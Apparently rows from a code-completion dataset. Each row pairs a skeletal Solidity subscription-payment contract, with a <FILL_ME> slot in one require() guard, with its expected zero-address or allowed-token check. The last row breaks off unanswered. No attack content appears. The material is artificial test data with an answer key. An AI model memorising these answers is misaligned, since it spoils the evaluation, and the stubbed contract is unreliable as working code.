uint256 decimalsDiff;
uint256 gasAtStart;
}
/// @notice to be triggered whenever it is time to collect payment from user
function collectPayment(address _user, address _vendor, uint256 _planId, address _token) allowedToken(_token) external {
}
}
| (_uniV3Factory!=address(0))&&(_wrappedNativeToken!=address(0)),"That is the zero address" | 70,397 | (_uniV3Factory!=address(0))&&(_wrappedNativeToken!=address(0)) |
"Token not allowed" | //SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.0;
/// @title A Payment Manager
/// @author Blokku-Chan
/// @notice Used to calculate and fetch 1hr TWAP prices for non-stablecoin payment
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
/// @notice Used to fetch Uniswap pool data
interface IUniswapV3Factory {
function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool);
}
/// @notice Used to handle transfers
interface TOKEN {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
}
/// @notice You can use this contract to create or subscribe to payment plans
/// @dev Uint packing is used for a number of variables
contract Solid {
uint256 constant gasCommit = 21000 + 396;
/// @dev Stored to convert decimal points when using alternative stablecoins
uint256 public mainStableDecimals;
/// @notice Uniswap V3 Factory address
address public immutable uniV3Factory;
/// @notice The chains wrapped native token address
address public immutable wrappedNativeToken;
/// @notice Owner of the contract is able to manage accepted tokens
address public owner;
/// @notice Main stable is the most popular/accessible stablecoin on the chain
address public mainStable;
/// @notice Stablecoin addresses in here are accepted by the contract
mapping(address => uint256) public stableIsAllowed;
/// @notice Token addresses in here are accepted by the contract
mapping(address => uint256) public tokenIsAllowed;
/// @notice Plan details are stored in here, this includes: Price, Billing frequency, Bulk discounts, and timestamp of most recent change
/// @dev The plan mapping key is a packing of the uint160 vendors address and a plan id, because it is cheaper than a nested mapping
/// @dev The plan values are packed instead of stored as structs, they are: uint40 price, uint48 billingPeriod, uint48 timestamp, uint120 discount
mapping(uint256 => uint256) public plan;
/// @notice Last payment contains the timestamp of a users last payment to a chosen vendors plan, it also has the number of billing periods paid for in bulk
/// @dev The lastPayment mapping key is a nested mapping of a plan key => users address
/// @dev The lastPayment values are packed as well, they are: uint48 timestamp and uint208 periods (the number of billing periods purchased in bulk)
mapping(uint256 => mapping(address => uint256)) public lastPayment;
/// @notice used to verify attestation chain of origin
uint256 public chainId;
event Payment(address indexed user, address indexed vendor, uint256 indexed plan, address token, uint256 amount, uint256 periods, bool firstTime, uint256 timestamp);
event Unsubscription(address indexed user, address indexed vendor, uint256 plan, uint256 timestamp);
event PlanSet(address indexed vendor, uint256 planId);
event NewStable(address stable);
event NewToken(address token);
event NewOwner(address token);
/// @notice This defines the owner, the address of the Uniswap V3 Factory and the address of the wrapped native token
constructor(uint256 _chainId, address _uniV3Factory, address _wrappedNativeToken) payable {
}
receive() external payable {}
modifier onlyOwner() {
}
/// @dev Different checks to ensure fairness in plan creation, billingPeriods set to low allow for too frequent payment collections, and so cannot be allowed
modifier validPlan(uint256 _billingPeriod, uint256 _price, uint256 _discount) {
}
/// @dev Used to guard against tokens that are not accepted
modifier allowedToken(address _token) {
require(<FILL_ME>)
_;
}
/// @dev Used to prevent free subscriptions not initiated by the vendor
modifier checkPeriods(uint256 _periods) {
}
function setOwner(address _owner) external onlyOwner {
}
/// @notice Ownership is intended to be temporary, once contracts can run by themselves ownership will be removed
function removeOwnership() external onlyOwner {
}
/// @notice The main stablecoin is used to check for prices on Uniswap V3 Pools
function setMainStable(address _mainStable) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to add to the allow list
function addStables(address[] memory _stables) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to remove from the allow list
function removeStables(address[] memory _stables) external onlyOwner {
}
/// @param _tokens: An array of token addresses to add to the allow list
function addTokens(address[] memory _tokens) external onlyOwner {
}
/// @param _tokens: An array of token addresses to remove from the allow list
function removeTokens(address[] memory _tokens) external onlyOwner {
}
/// @notice Sends accrued fees, primarily to be used to pay for subscription automation, to a recipient
function withdrawNative(uint256 _amount, address _recipient) external onlyOwner {
}
function withdrawToken(uint256 _amount, address _recipient, address _token) external onlyOwner {
}
/// @return price: the amount of the main stablecoin accepted for a plan, per period
/// @return billingPeriod: the number of seconds to wait before user is expected to pay again
/// @return timestamp: the last time the plan details were edited, users must resubscribe if plan details are edited
/// @return discount: The maximum discount given for buying multiple billing periods at once, up to a year
function getPlan(address _vendor, uint256 _planId) external view returns(uint256, uint256, uint256, uint256) {
}
function _getPlan(address _vendor, uint256 _planId) internal view returns(uint256, uint256, uint256, uint256) {
}
/// @return planKey: the vendor address and plan id are packed into a uint and returned
function _getPlanKey(address _vendor, uint256 _planId) internal pure returns (uint256) {
}
/// @dev Unpacks the values in the lastPayment uint
/// @return timestamp: the last time the user paid for a vendors plan
/// @return periods: the number of periods bought in bulk
function getLastPayment(address _vendor, uint256 _planId, address _user) external view returns (uint256, uint256) {
}
function _getLastPayment(uint256 _planKey, address _user) internal view returns (uint256, uint256) {
}
/// @notice Checks wnativeer the user has paid for a plan, and allows for a maximum 2 week buffer depending on length of billing period to allow for late payments
/// @return bool: true if user is a valid subscriber
function isValidSubscriber(address _vendor, address _user, uint256 _planId) external view returns (bool) {
}
function _isValidSubscriber(address _vendor, address _user, uint256 _planId) internal view returns (bool) {
}
/// @notice Handles plan creation and updating
/// @param _price: the amount of the main stablecoin a vendor will accept for a plan, per period
/// @param _billingPeriod: the number of seconds to wait before user is expected to pay again
/// @param _planId: the id of the selected plan
/// @param _discount: The maximum discount given for buying multiple billing periods at once, up to a year
function setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) external validPlan(_billingPeriod, _price, _discount) {
}
function _setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) internal {
}
/// @param _planId: the id of the plan to be deleted
function deletePlan(uint256 _planId) external {
}
function _deletePlan(uint256 _planId) internal {
}
/// @notice Vendors can add a free subscriber
/// @dev Subscriber is given a timestamp so far ahead, it will likely never be called to charge for payment
function addSubscriber(address _user, uint256 _planId) external {
}
/// @notice Vendors can remove a subscriber
function removeSubscriber(address _user, uint256 _planId) external {
}
/// @return bulkDiscountPrice this discount is calculated by accounting for the max discount allowed and the number of cycles being purchased
function _getDiscountPrice(uint256 _price, uint256 _periods, uint256 _cycleLength, uint256 _discount) internal pure returns (uint256) {
}
/// @return twapAmount amount of alternative tokens accepted based on a 1hr TWAP price
function getTwapAmount(address _token, uint256 _amountIn) external view returns (uint256) {
}
function _getTwapAmount(address _token, uint256 _amountIn) internal view returns (uint256) {
}
/// @dev executes transfers and collects fees
function _transferToken(address _token, address _vendor, address _user, uint256 amount, uint256 _gasAtStart, uint256 _price, uint256 _decimalsDiff) internal {
}
/// @dev handles most of the state updates for user payments
function _confirmation(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _amount) internal {
}
/// @dev handles most of the state updates for user payments
/// @return formattedPrice scales the decimals appropriately
/// @return decimalsDiff the difference in decimals
function _fixDecimals(address _token, uint256 price) internal view returns (uint256, uint256) {
}
function _split (bytes memory _sig) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
}
/// @notice Allows users to subscribe to a plan via signature to avoid gas fees with accepted tokens
function subscribeWithAttestation(bytes memory _signature, address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function subscribeStable(address _vendor, uint256 _planId, uint256 _periods, address _stable) external {
}
function _subscribeStable(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _stable, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with accepted tokens
function subscribeToken(address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function _subscribeToken(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with native token, this doesn't allow for automatic payment collection unless users subscribe with wrapped version
function subscribeNative(address _vendor, uint256 _planId, uint256 _periods) external payable {
}
function _subscribeNative(address _vendor, uint256 _planId, uint256 _periods, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice users can opt-out of subscription plans
function unsubscribe(address _vendor, uint256 _planId) external {
}
function _unsubscribe(address _vendor, uint256 _planId) internal {
}
/// @notice users can change to a different plan with a discounted price dependent on how long they are into their current billing period
function changePlan(address _vendor, uint256 _oldPlanId, uint256 _newPlanId, uint256 _periods, address _token) external payable {
}
struct Misc {
uint256 planKey;
uint256 decimalsDiff;
uint256 gasAtStart;
}
/// @notice to be triggered whenever it is time to collect payment from user
function collectPayment(address _user, address _vendor, uint256 _planId, address _token) allowedToken(_token) external {
}
}
| stableIsAllowed[_token]==1||tokenIsAllowed[_token]==1,"Token not allowed" | 70,397 | stableIsAllowed[_token]==1||tokenIsAllowed[_token]==1 |
"That is the zero address" | //SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.0;
/// @title A Payment Manager
/// @author Blokku-Chan
/// @notice Used to calculate and fetch 1hr TWAP prices for non-stablecoin payment
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
/// @notice Used to fetch Uniswap pool data
interface IUniswapV3Factory {
function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool);
}
/// @notice Used to handle transfers
interface TOKEN {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
}
/// @notice You can use this contract to create or subscribe to payment plans
/// @dev Uint packing is used for a number of variables
contract Solid {
uint256 constant gasCommit = 21000 + 396;
/// @dev Stored to convert decimal points when using alternative stablecoins
uint256 public mainStableDecimals;
/// @notice Uniswap V3 Factory address
address public immutable uniV3Factory;
/// @notice The chains wrapped native token address
address public immutable wrappedNativeToken;
/// @notice Owner of the contract is able to manage accepted tokens
address public owner;
/// @notice Main stable is the most popular/accessible stablecoin on the chain
address public mainStable;
/// @notice Stablecoin addresses in here are accepted by the contract
mapping(address => uint256) public stableIsAllowed;
/// @notice Token addresses in here are accepted by the contract
mapping(address => uint256) public tokenIsAllowed;
/// @notice Plan details are stored in here, this includes: Price, Billing frequency, Bulk discounts, and timestamp of most recent change
/// @dev The plan mapping key is a packing of the uint160 vendors address and a plan id, because it is cheaper than a nested mapping
/// @dev The plan values are packed instead of stored as structs, they are: uint40 price, uint48 billingPeriod, uint48 timestamp, uint120 discount
mapping(uint256 => uint256) public plan;
/// @notice Last payment contains the timestamp of a users last payment to a chosen vendors plan, it also has the number of billing periods paid for in bulk
/// @dev The lastPayment mapping key is a nested mapping of a plan key => users address
/// @dev The lastPayment values are packed as well, they are: uint48 timestamp and uint208 periods (the number of billing periods purchased in bulk)
mapping(uint256 => mapping(address => uint256)) public lastPayment;
/// @notice used to verify attestation chain of origin
uint256 public chainId;
event Payment(address indexed user, address indexed vendor, uint256 indexed plan, address token, uint256 amount, uint256 periods, bool firstTime, uint256 timestamp);
event Unsubscription(address indexed user, address indexed vendor, uint256 plan, uint256 timestamp);
event PlanSet(address indexed vendor, uint256 planId);
event NewStable(address stable);
event NewToken(address token);
event NewOwner(address token);
/// @notice This defines the owner, the address of the Uniswap V3 Factory and the address of the wrapped native token
constructor(uint256 _chainId, address _uniV3Factory, address _wrappedNativeToken) payable {
}
receive() external payable {}
modifier onlyOwner() {
}
/// @dev Different checks to ensure fairness in plan creation, billingPeriods set to low allow for too frequent payment collections, and so cannot be allowed
modifier validPlan(uint256 _billingPeriod, uint256 _price, uint256 _discount) {
}
/// @dev Used to guard against tokens that are not accepted
modifier allowedToken(address _token) {
}
/// @dev Used to prevent free subscriptions not initiated by the vendor
modifier checkPeriods(uint256 _periods) {
}
function setOwner(address _owner) external onlyOwner {
}
/// @notice Ownership is intended to be temporary, once contracts can run by themselves ownership will be removed
function removeOwnership() external onlyOwner {
}
/// @notice The main stablecoin is used to check for prices on Uniswap V3 Pools
function setMainStable(address _mainStable) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to add to the allow list
function addStables(address[] memory _stables) external onlyOwner {
for (uint256 x; x < _stables.length; ++x) {
require(<FILL_ME>)
stableIsAllowed[_stables[x]] = 1;
emit NewStable(_stables[x]);
}
}
/// @param _stables: An array of stablecoin addresses to remove from the allow list
function removeStables(address[] memory _stables) external onlyOwner {
}
/// @param _tokens: An array of token addresses to add to the allow list
function addTokens(address[] memory _tokens) external onlyOwner {
}
/// @param _tokens: An array of token addresses to remove from the allow list
function removeTokens(address[] memory _tokens) external onlyOwner {
}
/// @notice Sends accrued fees, primarily to be used to pay for subscription automation, to a recipient
function withdrawNative(uint256 _amount, address _recipient) external onlyOwner {
}
function withdrawToken(uint256 _amount, address _recipient, address _token) external onlyOwner {
}
/// @return price: the amount of the main stablecoin accepted for a plan, per period
/// @return billingPeriod: the number of seconds to wait before user is expected to pay again
/// @return timestamp: the last time the plan details were edited, users must resubscribe if plan details are edited
/// @return discount: The maximum discount given for buying multiple billing periods at once, up to a year
function getPlan(address _vendor, uint256 _planId) external view returns(uint256, uint256, uint256, uint256) {
}
function _getPlan(address _vendor, uint256 _planId) internal view returns(uint256, uint256, uint256, uint256) {
}
/// @return planKey: the vendor address and plan id are packed into a uint and returned
function _getPlanKey(address _vendor, uint256 _planId) internal pure returns (uint256) {
}
/// @dev Unpacks the values in the lastPayment uint
/// @return timestamp: the last time the user paid for a vendors plan
/// @return periods: the number of periods bought in bulk
function getLastPayment(address _vendor, uint256 _planId, address _user) external view returns (uint256, uint256) {
}
function _getLastPayment(uint256 _planKey, address _user) internal view returns (uint256, uint256) {
}
/// @notice Checks wnativeer the user has paid for a plan, and allows for a maximum 2 week buffer depending on length of billing period to allow for late payments
/// @return bool: true if user is a valid subscriber
function isValidSubscriber(address _vendor, address _user, uint256 _planId) external view returns (bool) {
}
function _isValidSubscriber(address _vendor, address _user, uint256 _planId) internal view returns (bool) {
}
/// @notice Handles plan creation and updating
/// @param _price: the amount of the main stablecoin a vendor will accept for a plan, per period
/// @param _billingPeriod: the number of seconds to wait before user is expected to pay again
/// @param _planId: the id of the selected plan
/// @param _discount: The maximum discount given for buying multiple billing periods at once, up to a year
function setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) external validPlan(_billingPeriod, _price, _discount) {
}
function _setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) internal {
}
/// @param _planId: the id of the plan to be deleted
function deletePlan(uint256 _planId) external {
}
function _deletePlan(uint256 _planId) internal {
}
/// @notice Vendors can add a free subscriber
/// @dev Subscriber is given a timestamp so far ahead, it will likely never be called to charge for payment
function addSubscriber(address _user, uint256 _planId) external {
}
/// @notice Vendors can remove a subscriber
function removeSubscriber(address _user, uint256 _planId) external {
}
/// @return bulkDiscountPrice this discount is calculated by accounting for the max discount allowed and the number of cycles being purchased
function _getDiscountPrice(uint256 _price, uint256 _periods, uint256 _cycleLength, uint256 _discount) internal pure returns (uint256) {
}
/// @return twapAmount amount of alternative tokens accepted based on a 1hr TWAP price
function getTwapAmount(address _token, uint256 _amountIn) external view returns (uint256) {
}
function _getTwapAmount(address _token, uint256 _amountIn) internal view returns (uint256) {
}
/// @dev executes transfers and collects fees
function _transferToken(address _token, address _vendor, address _user, uint256 amount, uint256 _gasAtStart, uint256 _price, uint256 _decimalsDiff) internal {
}
/// @dev handles most of the state updates for user payments
function _confirmation(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _amount) internal {
}
/// @dev handles most of the state updates for user payments
/// @return formattedPrice scales the decimals appropriately
/// @return decimalsDiff the difference in decimals
function _fixDecimals(address _token, uint256 price) internal view returns (uint256, uint256) {
}
function _split (bytes memory _sig) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
}
/// @notice Allows users to subscribe to a plan via signature to avoid gas fees with accepted tokens
function subscribeWithAttestation(bytes memory _signature, address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function subscribeStable(address _vendor, uint256 _planId, uint256 _periods, address _stable) external {
}
function _subscribeStable(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _stable, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with accepted tokens
function subscribeToken(address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function _subscribeToken(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with native token, this doesn't allow for automatic payment collection unless users subscribe with wrapped version
function subscribeNative(address _vendor, uint256 _planId, uint256 _periods) external payable {
}
function _subscribeNative(address _vendor, uint256 _planId, uint256 _periods, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice users can opt-out of subscription plans
function unsubscribe(address _vendor, uint256 _planId) external {
}
function _unsubscribe(address _vendor, uint256 _planId) internal {
}
/// @notice users can change to a different plan with a discounted price dependent on how long they are into their current billing period
function changePlan(address _vendor, uint256 _oldPlanId, uint256 _newPlanId, uint256 _periods, address _token) external payable {
}
struct Misc {
uint256 planKey;
uint256 decimalsDiff;
uint256 gasAtStart;
}
/// @notice to be triggered whenever it is time to collect payment from user
function collectPayment(address _user, address _vendor, uint256 _planId, address _token) allowedToken(_token) external {
}
}
| _stables[x]!=address(0),"That is the zero address" | 70,397 | _stables[x]!=address(0) |
"That is the zero address" | //SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.0;
/// @title A Payment Manager
/// @author Blokku-Chan
/// @notice Used to calculate and fetch 1hr TWAP prices for non-stablecoin payment
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
/// @notice Used to fetch Uniswap pool data
interface IUniswapV3Factory {
function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool);
}
/// @notice Used to handle transfers
interface TOKEN {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
}
/// @notice You can use this contract to create or subscribe to payment plans
/// @dev Uint packing is used for a number of variables
contract Solid {
uint256 constant gasCommit = 21000 + 396;
/// @dev Stored to convert decimal points when using alternative stablecoins
uint256 public mainStableDecimals;
/// @notice Uniswap V3 Factory address
address public immutable uniV3Factory;
/// @notice The chains wrapped native token address
address public immutable wrappedNativeToken;
/// @notice Owner of the contract is able to manage accepted tokens
address public owner;
/// @notice Main stable is the most popular/accessible stablecoin on the chain
address public mainStable;
/// @notice Stablecoin addresses in here are accepted by the contract
mapping(address => uint256) public stableIsAllowed;
/// @notice Token addresses in here are accepted by the contract
mapping(address => uint256) public tokenIsAllowed;
/// @notice Plan details are stored in here, this includes: Price, Billing frequency, Bulk discounts, and timestamp of most recent change
/// @dev The plan mapping key is a packing of the uint160 vendors address and a plan id, because it is cheaper than a nested mapping
/// @dev The plan values are packed instead of stored as structs, they are: uint40 price, uint48 billingPeriod, uint48 timestamp, uint120 discount
mapping(uint256 => uint256) public plan;
/// @notice Last payment contains the timestamp of a users last payment to a chosen vendors plan, it also has the number of billing periods paid for in bulk
/// @dev The lastPayment mapping key is a nested mapping of a plan key => users address
/// @dev The lastPayment values are packed as well, they are: uint48 timestamp and uint208 periods (the number of billing periods purchased in bulk)
mapping(uint256 => mapping(address => uint256)) public lastPayment;
/// @notice used to verify attestation chain of origin
uint256 public chainId;
event Payment(address indexed user, address indexed vendor, uint256 indexed plan, address token, uint256 amount, uint256 periods, bool firstTime, uint256 timestamp);
event Unsubscription(address indexed user, address indexed vendor, uint256 plan, uint256 timestamp);
event PlanSet(address indexed vendor, uint256 planId);
event NewStable(address stable);
event NewToken(address token);
event NewOwner(address token);
/// @notice This defines the owner, the address of the Uniswap V3 Factory and the address of the wrapped native token
constructor(uint256 _chainId, address _uniV3Factory, address _wrappedNativeToken) payable {
}
receive() external payable {}
modifier onlyOwner() {
}
/// @dev Different checks to ensure fairness in plan creation, billingPeriods set to low allow for too frequent payment collections, and so cannot be allowed
modifier validPlan(uint256 _billingPeriod, uint256 _price, uint256 _discount) {
}
/// @dev Used to guard against tokens that are not accepted
modifier allowedToken(address _token) {
}
/// @dev Used to prevent free subscriptions not initiated by the vendor
modifier checkPeriods(uint256 _periods) {
}
function setOwner(address _owner) external onlyOwner {
}
/// @notice Ownership is intended to be temporary, once contracts can run by themselves ownership will be removed
function removeOwnership() external onlyOwner {
}
/// @notice The main stablecoin is used to check for prices on Uniswap V3 Pools
function setMainStable(address _mainStable) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to add to the allow list
function addStables(address[] memory _stables) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to remove from the allow list
function removeStables(address[] memory _stables) external onlyOwner {
}
/// @param _tokens: An array of token addresses to add to the allow list
function addTokens(address[] memory _tokens) external onlyOwner {
for (uint256 x; x < _tokens.length; ++x) {
require(<FILL_ME>)
tokenIsAllowed[_tokens[x]] = 1;
emit NewToken(_tokens[x]);
}
}
/// @param _tokens: An array of token addresses to remove from the allow list
function removeTokens(address[] memory _tokens) external onlyOwner {
}
/// @notice Sends accrued fees, primarily to be used to pay for subscription automation, to a recipient
function withdrawNative(uint256 _amount, address _recipient) external onlyOwner {
}
function withdrawToken(uint256 _amount, address _recipient, address _token) external onlyOwner {
}
/// @return price: the amount of the main stablecoin accepted for a plan, per period
/// @return billingPeriod: the number of seconds to wait before user is expected to pay again
/// @return timestamp: the last time the plan details were edited, users must resubscribe if plan details are edited
/// @return discount: The maximum discount given for buying multiple billing periods at once, up to a year
function getPlan(address _vendor, uint256 _planId) external view returns(uint256, uint256, uint256, uint256) {
}
function _getPlan(address _vendor, uint256 _planId) internal view returns(uint256, uint256, uint256, uint256) {
}
/// @return planKey: the vendor address and plan id are packed into a uint and returned
function _getPlanKey(address _vendor, uint256 _planId) internal pure returns (uint256) {
}
/// @dev Unpacks the values in the lastPayment uint
/// @return timestamp: the last time the user paid for a vendors plan
/// @return periods: the number of periods bought in bulk
function getLastPayment(address _vendor, uint256 _planId, address _user) external view returns (uint256, uint256) {
}
function _getLastPayment(uint256 _planKey, address _user) internal view returns (uint256, uint256) {
}
/// @notice Checks wnativeer the user has paid for a plan, and allows for a maximum 2 week buffer depending on length of billing period to allow for late payments
/// @return bool: true if user is a valid subscriber
function isValidSubscriber(address _vendor, address _user, uint256 _planId) external view returns (bool) {
}
function _isValidSubscriber(address _vendor, address _user, uint256 _planId) internal view returns (bool) {
}
/// @notice Handles plan creation and updating
/// @param _price: the amount of the main stablecoin a vendor will accept for a plan, per period
/// @param _billingPeriod: the number of seconds to wait before user is expected to pay again
/// @param _planId: the id of the selected plan
/// @param _discount: The maximum discount given for buying multiple billing periods at once, up to a year
function setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) external validPlan(_billingPeriod, _price, _discount) {
}
function _setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) internal {
}
/// @param _planId: the id of the plan to be deleted
function deletePlan(uint256 _planId) external {
}
function _deletePlan(uint256 _planId) internal {
}
/// @notice Vendors can add a free subscriber
/// @dev Subscriber is given a timestamp so far ahead, it will likely never be called to charge for payment
function addSubscriber(address _user, uint256 _planId) external {
}
/// @notice Vendors can remove a subscriber
function removeSubscriber(address _user, uint256 _planId) external {
}
/// @return bulkDiscountPrice this discount is calculated by accounting for the max discount allowed and the number of cycles being purchased
function _getDiscountPrice(uint256 _price, uint256 _periods, uint256 _cycleLength, uint256 _discount) internal pure returns (uint256) {
}
/// @return twapAmount amount of alternative tokens accepted based on a 1hr TWAP price
function getTwapAmount(address _token, uint256 _amountIn) external view returns (uint256) {
}
function _getTwapAmount(address _token, uint256 _amountIn) internal view returns (uint256) {
}
/// @dev executes transfers and collects fees
function _transferToken(address _token, address _vendor, address _user, uint256 amount, uint256 _gasAtStart, uint256 _price, uint256 _decimalsDiff) internal {
}
/// @dev handles most of the state updates for user payments
function _confirmation(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _amount) internal {
}
/// @dev handles most of the state updates for user payments
/// @return formattedPrice scales the decimals appropriately
/// @return decimalsDiff the difference in decimals
function _fixDecimals(address _token, uint256 price) internal view returns (uint256, uint256) {
}
function _split (bytes memory _sig) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
}
/// @notice Allows users to subscribe to a plan via signature to avoid gas fees with accepted tokens
function subscribeWithAttestation(bytes memory _signature, address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function subscribeStable(address _vendor, uint256 _planId, uint256 _periods, address _stable) external {
}
function _subscribeStable(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _stable, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with accepted tokens
function subscribeToken(address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function _subscribeToken(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with native token, this doesn't allow for automatic payment collection unless users subscribe with wrapped version
function subscribeNative(address _vendor, uint256 _planId, uint256 _periods) external payable {
}
function _subscribeNative(address _vendor, uint256 _planId, uint256 _periods, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice users can opt-out of subscription plans
function unsubscribe(address _vendor, uint256 _planId) external {
}
function _unsubscribe(address _vendor, uint256 _planId) internal {
}
/// @notice users can change to a different plan with a discounted price dependent on how long they are into their current billing period
function changePlan(address _vendor, uint256 _oldPlanId, uint256 _newPlanId, uint256 _periods, address _token) external payable {
}
struct Misc {
uint256 planKey;
uint256 decimalsDiff;
uint256 gasAtStart;
}
/// @notice to be triggered whenever it is time to collect payment from user
function collectPayment(address _user, address _vendor, uint256 _planId, address _token) allowedToken(_token) external {
}
}
| _tokens[x]!=address(0),"That is the zero address" | 70,397 | _tokens[x]!=address(0) |
"Error with token transfer" | //SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.0;
/// @title A Payment Manager
/// @author Blokku-Chan
/// @notice Used to calculate and fetch 1hr TWAP prices for non-stablecoin payment
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
/// @notice Used to fetch Uniswap pool data
interface IUniswapV3Factory {
function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool);
}
/// @notice Used to handle transfers
interface TOKEN {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
}
/// @notice You can use this contract to create or subscribe to payment plans
/// @dev Uint packing is used for a number of variables
contract Solid {
uint256 constant gasCommit = 21000 + 396;
/// @dev Stored to convert decimal points when using alternative stablecoins
uint256 public mainStableDecimals;
/// @notice Uniswap V3 Factory address
address public immutable uniV3Factory;
/// @notice The chains wrapped native token address
address public immutable wrappedNativeToken;
/// @notice Owner of the contract is able to manage accepted tokens
address public owner;
/// @notice Main stable is the most popular/accessible stablecoin on the chain
address public mainStable;
/// @notice Stablecoin addresses in here are accepted by the contract
mapping(address => uint256) public stableIsAllowed;
/// @notice Token addresses in here are accepted by the contract
mapping(address => uint256) public tokenIsAllowed;
/// @notice Plan details are stored in here, this includes: Price, Billing frequency, Bulk discounts, and timestamp of most recent change
/// @dev The plan mapping key is a packing of the uint160 vendors address and a plan id, because it is cheaper than a nested mapping
/// @dev The plan values are packed instead of stored as structs, they are: uint40 price, uint48 billingPeriod, uint48 timestamp, uint120 discount
mapping(uint256 => uint256) public plan;
/// @notice Last payment contains the timestamp of a users last payment to a chosen vendors plan, it also has the number of billing periods paid for in bulk
/// @dev The lastPayment mapping key is a nested mapping of a plan key => users address
/// @dev The lastPayment values are packed as well, they are: uint48 timestamp and uint208 periods (the number of billing periods purchased in bulk)
mapping(uint256 => mapping(address => uint256)) public lastPayment;
/// @notice used to verify attestation chain of origin
uint256 public chainId;
event Payment(address indexed user, address indexed vendor, uint256 indexed plan, address token, uint256 amount, uint256 periods, bool firstTime, uint256 timestamp);
event Unsubscription(address indexed user, address indexed vendor, uint256 plan, uint256 timestamp);
event PlanSet(address indexed vendor, uint256 planId);
event NewStable(address stable);
event NewToken(address token);
event NewOwner(address token);
/// @notice This defines the owner, the address of the Uniswap V3 Factory and the address of the wrapped native token
constructor(uint256 _chainId, address _uniV3Factory, address _wrappedNativeToken) payable {
}
receive() external payable {}
modifier onlyOwner() {
}
/// @dev Different checks to ensure fairness in plan creation, billingPeriods set to low allow for too frequent payment collections, and so cannot be allowed
modifier validPlan(uint256 _billingPeriod, uint256 _price, uint256 _discount) {
}
/// @dev Used to guard against tokens that are not accepted
modifier allowedToken(address _token) {
}
/// @dev Used to prevent free subscriptions not initiated by the vendor
modifier checkPeriods(uint256 _periods) {
}
function setOwner(address _owner) external onlyOwner {
}
/// @notice Ownership is intended to be temporary, once contracts can run by themselves ownership will be removed
function removeOwnership() external onlyOwner {
}
/// @notice The main stablecoin is used to check for prices on Uniswap V3 Pools
function setMainStable(address _mainStable) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to add to the allow list
function addStables(address[] memory _stables) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to remove from the allow list
function removeStables(address[] memory _stables) external onlyOwner {
}
